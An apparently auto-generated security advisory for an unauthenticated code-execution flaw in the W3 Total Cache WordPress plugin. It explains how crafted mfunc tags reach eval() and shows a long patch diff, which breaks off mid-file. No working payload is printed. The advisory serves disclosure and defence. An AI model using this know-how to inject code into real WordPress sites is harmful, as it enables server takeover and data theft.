Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-27384: W3 Total Cache <= 2.9.1 – Unauthenticated Arbitrary Code Execution (w3-total-cache)

Severity Critical (CVSS 9.8)
CWE 94
Vulnerable Version 2.9.1
Patched Version 2.9.2
Disclosed February 23, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-27384:
This vulnerability is an unauthenticated remote code execution flaw in the W3 Total Cache WordPress plugin, affecting versions up to and including 2.9.1. The vulnerability resides in the plugin’s dynamic content processing feature, specifically within the mfunc and mclude tag handlers. Attackers can exploit this to execute arbitrary PHP code on the server without authentication, resulting in complete system compromise. The CVSS score of 9.8 reflects the critical nature of this security flaw.

The root cause lies in the improper handling of dynamic fragment tags within cached content. The vulnerable code in w3-total-cache/PgCache_ContentGrabber.php’s _parse_dynamic() method (lines 2094-2110) uses preg_replace_callback with the W3TC_DYNAMIC_SECURITY constant to identify and process mfunc/mclude tags. However, the security token validation is insufficient when W3TC_DYNAMIC_SECURITY is set to ‘1’ or an empty string. The _has_dynamic() function (lines 2190-2204) incorrectly returns false when W3TC_DYNAMIC_SECURITY equals ‘1’, allowing attackers to bypass the security check. This enables unauthenticated users to inject PHP code through specially crafted mfunc tags that get executed via eval() in the _parse_dynamic_mfunc() callback.

Exploitation involves sending HTTP requests containing malicious mfunc tags to any page served by WordPress with W3 Total Cache enabled. Attackers can embed PHP code within tags, where ‘1’ matches the W3TC_DYNAMIC_SECURITY constant value. The payload executes when the plugin processes cached content through the _parse_dynamic_mfunc() function, which calls eval() on the captured PHP code. No authentication is required, and the attack works regardless of whether page caching is enabled, as the dynamic content processing occurs during output buffering.

The patch addresses multiple security issues across several files. In PgCache_ContentGrabber.php, the _has_dynamic() function now properly validates the security token, checking for empty strings and the value ‘1’ as invalid (line 2194). The regex patterns in _parse_dynamic() and _has_dynamic() are updated to use preg_quote() for proper escaping (lines 2066, 2074, 2078, 2084, 2206). In Generic_Plugin.php, the output buffering mechanism is completely redesigned to avoid PHP’s display-handler restriction that prevented safe mfunc processing. The new ob_shutdown() method (lines 1063-1120) processes buffers at shutdown time rather than during ob_end_flush, allowing nested ob_start() calls required for eval() execution. Additional regex patterns in Generic_Plugin.php (lines 265-268) are tightened to prevent token bypass through whitespace manipulation.

Successful exploitation grants attackers arbitrary code execution with web server privileges, typically the www-data or apache user. This allows complete control over the WordPress installation, including database access, file system manipulation, user account creation, and further network penetration. Attackers can install backdoors, steal sensitive data, deface websites, or use compromised servers for cryptocurrency mining, DDoS attacks, or phishing campaigns. The unauthenticated nature makes this particularly dangerous as it requires no user interaction or prior access to the target system.

Differential between vulnerable and patched code

Code Diff
--- a/w3-total-cache/Cache_Memcached.php
+++ b/w3-total-cache/Cache_Memcached.php
@@ -244,7 +244,7 @@
 	/**
 	 * Retrieves multiple cached values in a single request.
 	 *
-	 * @since 2.9.1
+	 * @since 2.9.2
 	 *
 	 * @param array  $keys  Cache keys.
 	 * @param string $group Cache group.
@@ -293,7 +293,7 @@
 	/**
 	 * Stores multiple values in a single request.
 	 *
-	 * @since 2.9.1
+	 * @since 2.9.2
 	 *
 	 * @param array  $items  Map of cache key => payload.
 	 * @param string $group  Cache group.
--- a/w3-total-cache/Cache_Redis.php
+++ b/w3-total-cache/Cache_Redis.php
@@ -426,7 +426,7 @@
 	/**
 	 * Retrieves multiple cached values in a single request.
 	 *
-	 * @since 2.9.1
+	 * @since 2.9.2
 	 *
 	 * @param array  $keys  Cache keys.
 	 * @param string $group Cache group.
@@ -479,7 +479,7 @@
 	/**
 	 * Stores multiple values in a single request.
 	 *
-	 * @since 2.9.1
+	 * @since 2.9.2
 	 *
 	 * @param array  $items  Map of cache key => payload.
 	 * @param string $group  Cache group.
--- a/w3-total-cache/Cdn_Plugin.php
+++ b/w3-total-cache/Cdn_Plugin.php
@@ -110,7 +110,7 @@
 	 *
 	 * @return void
 	 *
-	 * @since 2.9.1
+	 * @since 2.9.2
 	 */
 	public function send_headers() {
 		$cdn_engine     = $this->_config->get_string( 'cdn.engine' );
--- a/w3-total-cache/DbCache_WpdbInjection_QueryCaching.php
+++ b/w3-total-cache/DbCache_WpdbInjection_QueryCaching.php
@@ -823,7 +823,7 @@
 	/**
 	 * Clears request-wide dbcache reject state so subsequent queries can be reconsidered.
 	 *
-	 * @since 2.9.1
+	 * @since 2.9.2
 	 *
 	 * @return void
 	 */
--- a/w3-total-cache/DbCache_WpdbLegacy.php
+++ b/w3-total-cache/DbCache_WpdbLegacy.php
@@ -250,7 +250,7 @@
 	/**
 	 * Returns the array of dbcache processors attached to this wpdb wrapper.
 	 *
-	 * @since 2.9.1
+	 * @since 2.9.2
 	 *
 	 * @return array
 	 */
--- a/w3-total-cache/DbCache_WpdbNew.php
+++ b/w3-total-cache/DbCache_WpdbNew.php
@@ -242,7 +242,7 @@
 	/**
 	 * Returns the array of dbcache processors attached to this wpdb wrapper.
 	 *
-	 * @since 2.9.1
+	 * @since 2.9.2
 	 *
 	 * @return array
 	 */
--- a/w3-total-cache/Extension_ImageService_Environment.php
+++ b/w3-total-cache/Extension_ImageService_Environment.php
@@ -150,7 +150,7 @@
 	/**
 	 * Generate AVIF rewrite rules (higher priority).
 	 *
-	 * @since 2.9.1
+	 * @since 2.9.2
 	 *
 	 * @see Dispatcher::nginx_rules_for_browsercache_section()
 	 *
@@ -266,7 +266,7 @@
 	/**
 	 * Generate WebP rewrite rules (lower priority than AVIF).
 	 *
-	 * @since 2.9.1
+	 * @since 2.9.2
 	 *
 	 * @see Dispatcher::nginx_rules_for_browsercache_section()
 	 *
--- a/w3-total-cache/Extension_ImageService_Plugin_Admin.php
+++ b/w3-total-cache/Extension_ImageService_Plugin_Admin.php
@@ -1009,6 +1009,7 @@

 				// Determine classes.
 				$link_classes = 'w3tc-convert';
+				$can_edit     = current_user_can( 'edit_post', $post_id );

 				switch ( $status ) {
 					case 'processing':
@@ -1021,16 +1022,24 @@
 						$aria_attr      = 'true';
 						break;
 					default:
-						$disabled_class = '';
-						$aria_attr      = 'false';
+						if ( $can_edit ) {
+							$disabled_class = '';
+							$aria_attr      = 'false';
+						} else {
+							$disabled_class = 'w3tc-disabled';
+							$aria_attr      = 'true';
+						}
 						break;
 				}

+				// Prevent JS from polling status for images the current user cannot edit.
+				$data_status = ( ! $can_edit && 'processing' === $status ) ? '' : $status;
+
 				// Print action links.
 				?>
 				<span class="<?php echo esc_attr( $disabled_class ); ?>">
 					<a class="<?php echo esc_attr( $link_classes ); ?>" data-post-id="<?php echo esc_attr( $post_id ); ?>"
-						data-status="<?php echo esc_attr( $status ); ?>" aria-disabled="<?php echo esc_attr( $aria_attr ); ?>">
+						data-status="<?php echo esc_attr( $data_status ); ?>" aria-disabled="<?php echo esc_attr( $aria_attr ); ?>" role="button" tabindex="0">
 				<?php
 				// phpcs:disable Generic.WhiteSpace.ScopeIndent.IncorrectExact
 				switch ( $status ) {
@@ -1101,8 +1110,10 @@

 				// If converted, then show revert link.
 				if ( 'converted' === $status ) {
+					$revert_span_class    = $can_edit ? 'w3tc-revert' : 'w3tc-revert w3tc-disabled';
+					$revert_aria_disabled = $can_edit ? 'false' : 'true';
 					?>
-					<span class="w3tc-revert"> | <a><?php esc_attr_e( 'Revert', 'w3-total-cache' ); ?></a></span>
+					<span class="<?php echo esc_attr( $revert_span_class ); ?>"> | <a aria-disabled="<?php echo esc_attr( $revert_aria_disabled ); ?>" role="button" tabindex="0"><?php esc_html_e( 'Revert', 'w3-total-cache' ); ?></a></span>
 					<?php
 					// Check if WEBP and AVIF already exist.
 					$has_webp = false;
@@ -1134,16 +1145,20 @@

 					// Show additional convert links only when the format is enabled.
 					if ( $has_webp && ! $has_avif && $avif_enabled ) {
+						$avif_span_class    = $can_edit ? 'w3tc-convert-avif' : 'w3tc-convert-avif w3tc-disabled';
+						$avif_aria_disabled = $can_edit ? 'false' : 'true';
 						?>
-						<span class="w3tc-convert-avif"> | <a class="w3tc-convert-format" data-post-id="<?php echo esc_attr( $post_id ); ?>"
-							data-status="<?php echo esc_attr( $status ); ?>" data-format="avif" aria-disabled="false"><?php esc_html_e( 'Convert to AVIF', 'w3-total-cache' ); ?></a></span>
+						<span class="<?php echo esc_attr( $avif_span_class ); ?>"> | <a class="w3tc-convert-format" data-post-id="<?php echo esc_attr( $post_id ); ?>"
+							data-status="<?php echo esc_attr( $status ); ?>" data-format="avif" aria-disabled="<?php echo esc_attr( $avif_aria_disabled ); ?>"><?php esc_html_e( 'Convert to AVIF', 'w3-total-cache' ); ?></a></span>
 						<?php
 					}

 					if ( $has_avif && ! $has_webp && $webp_enabled ) {
+						$webp_span_class    = $can_edit ? 'w3tc-convert-webp' : 'w3tc-convert-webp w3tc-disabled';
+						$webp_aria_disabled = $can_edit ? 'false' : 'true';
 						?>
-						<span class="w3tc-convert-webp"> | <a class="w3tc-convert-format" data-post-id="<?php echo esc_attr( $post_id ); ?>"
-							data-status="<?php echo esc_attr( $status ); ?>" data-format="webp" aria-disabled="false"><?php esc_html_e( 'Convert to WebP', 'w3-total-cache' ); ?></a></span>
+						<span class="<?php echo esc_attr( $webp_span_class ); ?>"> | <a class="w3tc-convert-format" data-post-id="<?php echo esc_attr( $post_id ); ?>"
+							data-status="<?php echo esc_attr( $status ); ?>" data-format="webp" aria-disabled="<?php echo esc_attr( $webp_aria_disabled ); ?>"><?php esc_html_e( 'Convert to WebP', 'w3-total-cache' ); ?></a></span>
 						<?php
 					}
 				}
@@ -1192,6 +1207,14 @@
 		// Remove custom query args.
 		$location = remove_query_arg( array( 'w3tc_imageservice_submitted', 'w3tc_imageservice_reverted' ), $location );

+		// Filter to only attachment IDs the current user is allowed to edit.
+		$post_ids = array_filter(
+			$post_ids,
+			function ( $post_id ) {
+				return current_user_can( 'edit_post', $post_id );
+			}
+		);
+
 		switch ( $doaction ) {
 			case 'w3tc_imageservice_convert':
 				$stats = $this->submit_images( $post_ids );
@@ -1439,7 +1462,7 @@
 		// Check WP_Filesystem credentials.
 		Util_WpFile::ajax_check_credentials(
 			sprintf(
-				// translators: 1: HTML achor open tag, 2: HTML anchor close tag.
+				// translators: 1: HTML anchor open tag, 2: HTML anchor close tag.
 				__( '%1$sLearn more%2$s.', 'w3-total-cache' ),
 				'<a target="_blank" href="' . esc_url(
 					'https://www.boldgrid.com/support/w3-total-cache/image-service/?utm_source=w3tc&utm_medium=conversion_error&utm_campaign=imageservice#unable-to-connect-to-the-filesystem-error'
@@ -1766,18 +1789,6 @@
 	public function ajax_submit() {
 		check_ajax_referer( 'w3tc_imageservice_submit' );

-		// Check WP_Filesystem credentials.
-		Util_WpFile::ajax_check_credentials(
-			sprintf(
-				// translators: 1: HTML achor open tag, 2: HTML anchor close tag.
-				__( '%1$sLearn more%2$s.', 'w3-total-cache' ),
-				'<a target="_blank" href="' . esc_url(
-					'https://www.boldgrid.com/support/w3-total-cache/image-service/?utm_source=w3tc&utm_medium=conversion_error&utm_campaign=imageservice#unable-to-connect-to-the-filesystem-error'
-				) . '">',
-				'</a>'
-			)
-		);
-
 		// Check for post id.
 		$post_id_val = Util_Request::get_integer( 'post_id' );
 		$post_id     = ! empty( $post_id_val ) ? $post_id_val : null;
@@ -1791,6 +1802,27 @@
 			);
 		}

+		if ( ! current_user_can( 'edit_post', $post_id ) ) {
+			wp_send_json_error(
+				array(
+					'error' => __( 'You do not have permission to convert this image.', 'w3-total-cache' ),
+				),
+				403
+			);
+		}
+
+		// Check WP_Filesystem credentials.
+		Util_WpFile::ajax_check_credentials(
+			sprintf(
+				// translators: 1: HTML anchor open tag, 2: HTML anchor close tag.
+				__( '%1$sLearn more%2$s.', 'w3-total-cache' ),
+				'<a target="_blank" href="' . esc_url(
+					'https://www.boldgrid.com/support/w3-total-cache/image-service/?utm_source=w3tc&utm_medium=conversion_error&utm_campaign=imageservice#unable-to-connect-to-the-filesystem-error'
+				) . '">',
+				'</a>'
+			)
+		);
+
 		global $wp_filesystem;

 		// Verify the image file exists.
@@ -1981,6 +2013,16 @@
 		$post_id     = ! empty( $post_id_val ) ? $post_id_val : null;

 		if ( $post_id ) {
+			if ( ! current_user_can( 'edit_post', $post_id ) ) {
+				wp_send_json_error(
+					array(
+						'error' => __( 'You do not have permission to access this image.', 'w3-total-cache' ),
+					),
+					403
+				);
+				return;
+			}
+
 			wp_send_json_success( (array) get_post_meta( $post_id, 'w3tc_imageservice', true ) );
 		} else {
 			wp_send_json_error(
@@ -2006,6 +2048,16 @@
 		$post_id     = ! empty( $post_id_val ) ? $post_id_val : null;

 		if ( $post_id ) {
+			if ( ! current_user_can( 'edit_post', $post_id ) ) {
+				wp_send_json_error(
+					array(
+						'error' => __( 'You do not have permission to revert this image.', 'w3-total-cache' ),
+					),
+					403
+				);
+				return;
+			}
+
 			// Check if there are any optimizations to revert.
 			$postmeta = (array) get_post_meta( $post_id, 'w3tc_imageservice', true );
 			$has_optimizations = false;
@@ -2051,6 +2103,15 @@
 	public function ajax_convert_all() {
 		check_ajax_referer( 'w3tc_imageservice_submit' );

+		if ( ! current_user_can( 'manage_options' ) ) {
+			wp_send_json_error(
+				array(
+					'error' => __( 'You do not have permission to perform bulk conversions.', 'w3-total-cache' ),
+				),
+				403
+			);
+		}
+
 		$results = $this->get_eligible_attachments();

 		$post_ids = array();
@@ -2079,6 +2140,15 @@
 	public function ajax_revert_all() {
 		check_ajax_referer( 'w3tc_imageservice_submit' );

+		if ( ! current_user_can( 'manage_options' ) ) {
+			wp_send_json_error(
+				array(
+					'error' => __( 'You do not have permission to perform bulk reverts.', 'w3-total-cache' ),
+				),
+				403
+			);
+		}
+
 		$results = $this->get_imageservice_attachments();

 		$revert_count = 0;
@@ -2106,6 +2176,15 @@
 	public function ajax_get_counts() {
 		check_ajax_referer( 'w3tc_imageservice_submit' );

+		if ( ! current_user_can( 'manage_options' ) ) {
+			wp_send_json_error(
+				array(
+					'error' => __( 'You do not have permission to view image counts.', 'w3-total-cache' ),
+				),
+				403
+			);
+		}
+
 		wp_send_json_success( $this->get_counts() );
 	}

@@ -2120,6 +2199,15 @@
 	public function ajax_get_usage() {
 		check_ajax_referer( 'w3tc_imageservice_submit' );

+		if ( ! current_user_can( 'manage_options' ) ) {
+			wp_send_json_error(
+				array(
+					'error' => __( 'You do not have permission to view API usage.', 'w3-total-cache' ),
+				),
+				403
+			);
+		}
+
 		wp_send_json_success( Extension_ImageService_Plugin::get_api()->get_usage( true ) );
 	}

--- a/w3-total-cache/Generic_Plugin.php
+++ b/w3-total-cache/Generic_Plugin.php
@@ -38,13 +38,38 @@
 	/**
 	 * Frontend notice payload when redirecting back from admin actions.
 	 *
-	 * @since 2.9.1
+	 * @since 2.9.2
 	 *
 	 * @var ?array
 	 */
 	private $frontend_notice;

 	/**
+	 * Output buffer nesting level recorded at ob_start() time.
+	 *
+	 * Used by ob_shutdown() to identify which buffer level belongs to W3TC.
+	 *
+	 * @since 2.9.2
+	 *
+	 * @var int
+	 */
+	private $_ob_level = 0;
+
+	/**
+	 * Guards against ob_shutdown() being invoked twice.
+	 *
+	 * Function `ob_shutdown()` is registered both as a WordPress 'shutdown' action
+	 * (priority 0, so it runs before wp_ob_end_flush_all at priority 1) and as
+	 * a PHP shutdown function (fallback for abnormal termination). This flag
+	 * ensures the second invocation is a no-op.
+	 *
+	 * @since 2.9.2
+	 *
+	 * @var bool
+	 */
+	private $_ob_shutdown_done = false;
+
+	/**
 	 * Constructor
 	 *
 	 * @return void
@@ -102,7 +127,26 @@
 			add_filter( 'wp_die_xml_handler', array( $this, 'wp_die_handler' ) );
 			add_filter( 'wp_die_handler', array( $this, 'wp_die_handler' ) );

-			ob_start( array( $this, 'ob_callback' ) );
+			/*
+			 * Register with no callback so no display-handler restriction applies.
+			 * ob_callback() is invoked explicitly in ob_shutdown() instead.
+			 * PHP's display-handler restriction (ob_start() forbidden inside a
+			 * callback) made every ob flush mechanism unsafe for mfunc processing.
+			 */
+			ob_start();
+			$this->_ob_level = ob_get_level();
+
+			/*
+			 * Hook into WordPress 'shutdown' at priority 0 so ob_shutdown runs
+			 * before wp_ob_end_flush_all (priority 1). wp_ob_end_flush_all calls
+			 * ob_end_flush(), which would send the raw unprocessed buffer.
+			 * By processing and echoing the buffer here first we ensure the
+			 * processed output reaches the client.
+			 * The PHP shutdown function below is a fallback for abnormal
+			 * termination paths where the WordPress 'shutdown' action may not fire.
+			 */
+			add_action( 'shutdown', array( $this, 'ob_shutdown' ), 0 );
+			register_shutdown_function( array( $this, 'ob_shutdown' ) );
 		}

 		$this->register_plugin_check_filters();
@@ -114,7 +158,7 @@
 	/**
 	 * Removes dynamic fragment tags from comment content before storage.
 	 *
-	 * @since 2.9.1
+	 * @since 2.9.2
 	 *
 	 * @param array $comment_data Comment data being processed.
 	 *
@@ -131,7 +175,7 @@
 	/**
 	 * Removes dynamic fragment tags from RSS/feed content.
 	 *
-	 * @since 2.9.1
+	 * @since 2.9.2
 	 *
 	 * @param string $content Content to sanitize.
 	 *
@@ -144,7 +188,7 @@
 	/**
 	 * Sanitizes REST API responses to prevent dynamic fragment leakage.
 	 *
-	 * @since 2.9.1
+	 * @since 2.9.2
 	 *
 	 * @param WP_REST_Response|mixed $result  Response data.
 	 * @param WP_REST_Server         $server  REST server instance.
@@ -170,7 +214,7 @@
 	/**
 	 * Recursively removes dynamic fragment tags from REST data structures.
 	 *
-	 * @since 2.9.1
+	 * @since 2.9.2
 	 *
 	 * @param mixed $data Response data.
 	 *
@@ -203,7 +247,7 @@
 	/**
 	 * Removes dynamic fragment tags from a text string.
 	 *
-	 * @since 2.9.1
+	 * @since 2.9.2
 	 *
 	 * @param string $value Raw content to sanitize.
 	 *
@@ -218,9 +262,13 @@
 		$original_value = $value;

 		// Remove dynamic fragment tags from the value.
+		// Use s*S+ (zero-or-more whitespace, then one-or-more non-whitespace) so that
+		// tags with no space between the keyword and token (e.g. <!-- mfuncTOKEN -->) are
+		// also caught and not passed through to the str_replace step below where a crafted
+		// token-containing name could otherwise be morphed into a valid mfunc tag.
 		$pattern = array(
-			'~<!--s*mfuncs+[^s]+.*?-->(.*?)<!--s*/mfuncs+[^s]+.*?s*-->~Uis',
-			'~<!--s*mcludes+[^s]+.*?-->(.*?)<!--s*/mcludes+[^s]+.*?s*-->~Uis',
+			'~<!--s*mfuncs*S+.*?-->(.*?)<!--s*/mfuncs*S+.*?s*-->~Uis',
+			'~<!--s*mcludes*S+.*?-->(.*?)<!--s*/mcludes*S+.*?s*-->~Uis',
 		);

 		$value   = preg_replace_callback(
@@ -709,7 +757,7 @@
 	/**
 	 * Loads a pending frontend message triggered during an admin redirect.
 	 *
-	 * @since 2.9.1
+	 * @since 2.9.2
 	 *
 	 * @return void
 	 */
@@ -1015,6 +1063,58 @@
 	}

 	/**
+	 * Processes and outputs the W3TC output buffer at shutdown time.
+	 *
+	 * Registered both as a WordPress 'shutdown' action (priority 0, before
+	 * wp_ob_end_flush_all at priority 1) and as a PHP shutdown function
+	 * (fallback). The flag $_ob_shutdown_done prevents double-invocation.
+	 *
+	 * ob_callback() is invoked explicitly here rather than as a PHP display
+	 * handler, because display handlers (callbacks invoked during ob_end_clean,
+	 * ob_end_flush, or PHP's own buffer cleanup) set PHP's internal ob_lock
+	 * flag, which forbids any nested ob_start() call. _parse_dynamic_mfunc()
+	 * requires ob_start() to capture eval() output, so it must not run inside
+	 * a display handler. The ob_start() in run() is registered with no callback
+	 * to ensure no display handler is ever registered for our buffer.
+	 *
+	 * @since 2.9.2
+	 *
+	 * @return void
+	 */
+	public function ob_shutdown() {
+		if ( $this->_ob_shutdown_done ) {
+			return;
+		}
+
+		$this->_ob_shutdown_done = true;
+
+		/*
+		 * Flush any nested output buffers (added by WordPress or other plugins)
+		 * down into ours so their content is included.
+		 */
+		while ( ob_get_level() > $this->_ob_level ) {
+			ob_end_flush();
+		}
+
+		if ( ob_get_level() < $this->_ob_level ) {
+			// Our buffer was already closed (e.g. by a redirect or wp_die).
+			return;
+		}
+
+		/*
+		 * Read the buffer and close it. Because ob_start() was registered with
+		 * no callback, ob_get_clean() never triggers a display handler, so
+		 * ob_start() calls inside ob_callback() (e.g. _parse_dynamic_mfunc)
+		 * are permitted.
+		 */
+		$buffer = (string) ob_get_clean();
+
+		$buffer = $this->ob_callback( $buffer );
+
+		echo $buffer; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
+	}
+
+	/**
 	 * User login hook. Check if current user is not listed in pgcache.reject.* rules
 	 * If so, set a role cookie so the requests wont be cached
 	 *
@@ -1193,7 +1293,7 @@
 	/**
 	 * Registers Plugin Check filters so they run in all contexts.
 	 *
-	 * @since 2.9.1
+	 * @since 2.9.2
 	 *
 	 * @link https://github.com/WordPress/plugin-check/blob/1.6.0/includes/Utilities/Plugin_Request_Utility.php#L160
 	 * @link https://github.com/WordPress/plugin-check/blob/1.6.0/includes/Utilities/Plugin_Request_Utility.php#L180
--- a/w3-total-cache/Licensing_Plugin_Admin.php
+++ b/w3-total-cache/Licensing_Plugin_Admin.php
@@ -36,7 +36,7 @@
 	/**
 	 * Usermeta key for storing dismissed license notices.
 	 *
-	 * @since 2.9.1
+	 * @since 2.9.2
 	 *
 	 * @var string
 	 */
@@ -46,7 +46,7 @@
 	 * Time in seconds after which a dismissed notice can reappear if conditions persist.
 	 * Set to 6 days (automatic license check interval is 5 days).
 	 *
-	 * @since 2.9.1
+	 * @since 2.9.2
 	 *
 	 * @var int
 	 */
@@ -58,7 +58,7 @@
 	 * The HLT (Hosted Login Token) in the billing URL is only valid for 19 minutes,
 	 * so we cache for 19 minutes to ensure users always get a valid token with some buffer.
 	 *
-	 * @since 2.9.1
+	 * @since 2.9.2
 	 *
 	 * @var int
 	 */
@@ -392,7 +392,7 @@
 	 * This is called on non-W3TC admin pages where the lightbox isn't already loaded.
 	 * Only enqueues if there's a license status that would display a notice.
 	 *
-	 * @since 2.9.1
+	 * @since 2.9.2
 	 *
 	 * @return void
 	 */
@@ -417,7 +417,7 @@
 	/**
 	 * Enqueues lightbox JavaScript and CSS assets.
 	 *
-	 * @since 2.9.1
+	 * @since 2.9.2
 	 *
 	 * @return void
 	 */
@@ -459,7 +459,7 @@
 	 * (lowercase letters, numbers, hyphens, underscores) and replaces
 	 * dots with hyphens for readability.
 	 *
-	 * @since 2.9.1
+	 * @since 2.9.2
 	 *
 	 * @param string $status The license status to sanitize.
 	 *
@@ -559,7 +559,7 @@
 	 * Called on admin_enqueue_scripts to register the script early,
 	 * which can then be enqueued later when notices are displayed.
 	 *
-	 * @since 2.9.1
+	 * @since 2.9.2
 	 *
 	 * @return void
 	 */
@@ -616,7 +616,7 @@
 	/**
 	 * Generates a license notice based on the provided license status and key.
 	 *
-	 * @since 2.9.1
+	 * @since 2.9.2
 	 *
 	 * @param string $status The current status of the license (e.g., 'active', 'expired').
 	 * @param string $license_key The license key associated with the plugin.
@@ -746,7 +746,7 @@
 	 * Uses transient caching to avoid making HTTP requests on every page load.
 	 * The URL is cached for 1 hour to balance freshness with performance.
 	 *
-	 * @since 2.9.1
+	 * @since 2.9.2
 	 *
 	 * @param string $license_key The license key used to generate the billing URL.
 	 *
@@ -779,7 +779,7 @@
 	/**
 	 * Fetches the billing URL from the API.
 	 *
-	 * @since 2.9.1
+	 * @since 2.9.2
 	 *
 	 * @param string $license_key The license key used to generate the billing URL.
 	 *
@@ -998,7 +998,7 @@
 	 *
 	 * Saves the dismissal timestamp in usermeta for persistent per-user dismissal.
 	 *
-	 * @since 2.9.1
+	 * @since 2.9.2
 	 *
 	 * @return void
 	 */
@@ -1034,7 +1034,7 @@
 	 *
 	 * Forces an immediate license check and clears cached billing URL.
 	 *
-	 * @since 2.9.1
+	 * @since 2.9.2
 	 *
 	 * @return void
 	 */
@@ -1068,7 +1068,7 @@
 	 * If the reset time has elapsed and the condition still persists, the dismissal
 	 * is cleared and the notice will show again.
 	 *
-	 * @since 2.9.1
+	 * @since 2.9.2
 	 *
 	 * @param string $notice_id The unique identifier for the notice.
 	 *
@@ -1102,7 +1102,7 @@
 	 * Uses a targeted query to only retrieve users who have the specific notice dismissed,
 	 * rather than all users with any dismissed notices.
 	 *
-	 * @since 2.9.1
+	 * @since 2.9.2
 	 *
 	 * @param string $notice_id The unique identifier for the notice to clear.
 	 *
--- a/w3-total-cache/ObjectCache_WpObjectCache_Regular.php
+++ b/w3-total-cache/ObjectCache_WpObjectCache_Regular.php
@@ -1194,7 +1194,7 @@
 	/**
 	 * Persist multiple cache entries using the most efficient method available.
 	 *
-	 * @since 2.9.1
+	 * @since 2.9.2
 	 *
 	 * @param object $cache           Cache engine instance.
 	 * @param array  $payload         Map of cache_key => structured payload.
--- a/w3-total-cache/PageSpeed_Data.php
+++ b/w3-total-cache/PageSpeed_Data.php
@@ -65,7 +65,7 @@
 	/**
 	 * Collect core web vital metrics in a consistent format.
 	 *
-	 * @since 2.9.1
+	 * @since 2.9.2
 	 *
 	 * @param array  $data   PageSpeed data payload.
 	 * @param string $metric Lighthouse audit identifier.
@@ -83,7 +83,7 @@
 	/**
 	 * Log the raw metric keys and configured instruction keys when debugging is enabled.
 	 *
-	 * @since 2.9.1
+	 * @since 2.9.2
 	 *
 	 * @param array $pagespeed_data Prepared PageSpeed data.
 	 *
@@ -121,7 +121,7 @@
 	/**
 	 * Collect audits belonging to the given Lighthouse category group.
 	 *
-	 * @since 2.9.1
+	 * @since 2.9.2
 	 *
 	 * @param array  $data  Raw Lighthouse API payload.
 	 * @param string $group Lighthouse category group identifier.
@@ -157,7 +157,7 @@
 	/**
 	 * Format a single Lighthouse audit into the structure expected by the UI.
 	 *
-	 * @since 2.9.1
+	 * @since 2.9.2
 	 *
 	 * @param string $audit_id Lighthouse audit identifier.
 	 * @param array  $audit    Lighthouse audit payload.
@@ -191,7 +191,7 @@
 	/**
 	 * Normalize Lighthouse audit details to a list structure.
 	 *
-	 * @since 2.9.1
+	 * @since 2.9.2
 	 *
 	 * @param mixed $details Lighthouse audit details.
 	 *
@@ -219,7 +219,7 @@
 	/**
 	 * Determine which Core Web Vitals an audit influences.
 	 *
-	 * @since 2.9.1
+	 * @since 2.9.2
 	 *
 	 * @param string $audit_id Lighthouse audit identifier.
 	 * @param array  $audit    Lighthouse audit payload.
@@ -248,7 +248,7 @@
 	/**
 	 * Normalize the network dependency tree insight payload.
 	 *
-	 * @since 2.9.1
+	 * @since 2.9.2
 	 *
 	 * @param array $details Lighthouse network dependency tree details payload.
 	 *
@@ -283,7 +283,7 @@
 	/**
 	 * Normalize a network dependency chain node recursively.
 	 *
-	 * @since 2.9.1
+	 * @since 2.9.2
 	 *
 	 * @param array $node Node payload.
 	 *
@@ -310,7 +310,7 @@
 	/**
 	 * Normalize preconnect insight sections.
 	 *
-	 * @since 2.9.1
+	 * @since 2.9.2
 	 *
 	 * @param array $section Section payload from Lighthouse.
 	 *
@@ -360,7 +360,7 @@
 	/**
 	 * Provide a mapping of audit identifiers to Core Web Vital type tags.
 	 *
-	 * @since 2.9.1
+	 * @since 2.9.2
 	 *
 	 * @return array
 	 */
@@ -409,7 +409,7 @@
 	/**
 	 * Normalize score values to 0-100 scale while avoiding PHP warnings when score is missing.
 	 *
-	 * @since 2.9.1
+	 * @since 2.9.2
 	 *
 	 * @param mixed $score Score from the Lighthouse payload.
 	 *
@@ -426,7 +426,7 @@
 	/**
 	 * Drop metrics that Google didn't include in the latest payload.
 	 *
-	 * @since 2.9.1
+	 * @since 2.9.2
 	 *
 	 * @param array $metrics Raw metrics bucket.
 	 *
@@ -448,7 +448,7 @@
 	/**
 	 * Attach instructions for metrics that survived the filtering step.
 	 *
-	 * @since 2.9.1
+	 * @since 2.9.2
 	 *
 	 * @param array $pagespeed_data Prepared PageSpeed data.
 	 *
--- a/w3-total-cache/PgCache_ContentGrabber.php
+++ b/w3-total-cache/PgCache_ContentGrabber.php
@@ -105,18 +105,11 @@
 	/**
 	 * Page key extension
 	 *
-	 * @var string
+	 * @var array
 	 */
 	private $_page_key_extension;

 	/**
-	 * Shutdown buffer
-	 *
-	 * @var string
-	 */
-	private $_shutdown_buffer = '';
-
-	/**
 	 * Cache reject reason
 	 *
 	 * @var string
@@ -447,7 +440,7 @@
 			return true;
 		}

-		$this->caching             = false;
+		$this->_caching            = false;
 		$this->cache_reject_reason = 'w3tc_page_extract_key filter result forced not to cache';

 		return false;
@@ -586,41 +579,20 @@
 			}
 		}

-		// We can't capture output in ob_callback so we use shutdown function.
 		if ( $has_dynamic ) {
-			$this->_shutdown_buffer = $buffer;
-
-			$buffer = '';
+			$compression = $this->_page_key_extension['compression'];
+			if ( defined( 'W3TC_PAGECACHE_OUTPUT_COMPRESSION_OFF' ) ) {
+				$compression = false;
+			}

-			register_shutdown_function(
-				array(
-					$this,
-					'shutdown',
-				)
-			);
+			$buffer = $this->_parse_dynamic( $buffer );
+			$buffer = $this->_compress( $buffer, $compression );
 		}

 		return $buffer;
 	}

 	/**
-	 * Handles the shutdown process for compressing and outputting the page buffer.
-	 *
-	 * @return void
-	 */
-	public function shutdown() {
-		$compression = $this->_page_key_extension['compression'];
-
-		// Parse dynamic content.
-		$buffer = $this->_parse_dynamic( $this->_shutdown_buffer );
-
-		// Compress page according to headers already set.
-		$compressed_buffer = $this->_compress( $buffer, $compression );
-
-		echo $compressed_buffer; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
-	}
-
-	/**
 	 * Determines if the cache can be read for the current request.
 	 *
 	 * @return bool True if cache can be read, false otherwise.
@@ -2094,8 +2066,10 @@
 			return $buffer;
 		}

+		$security = preg_quote( W3TC_DYNAMIC_SECURITY, '~' );
+
 		$buffer = preg_replace_callback(
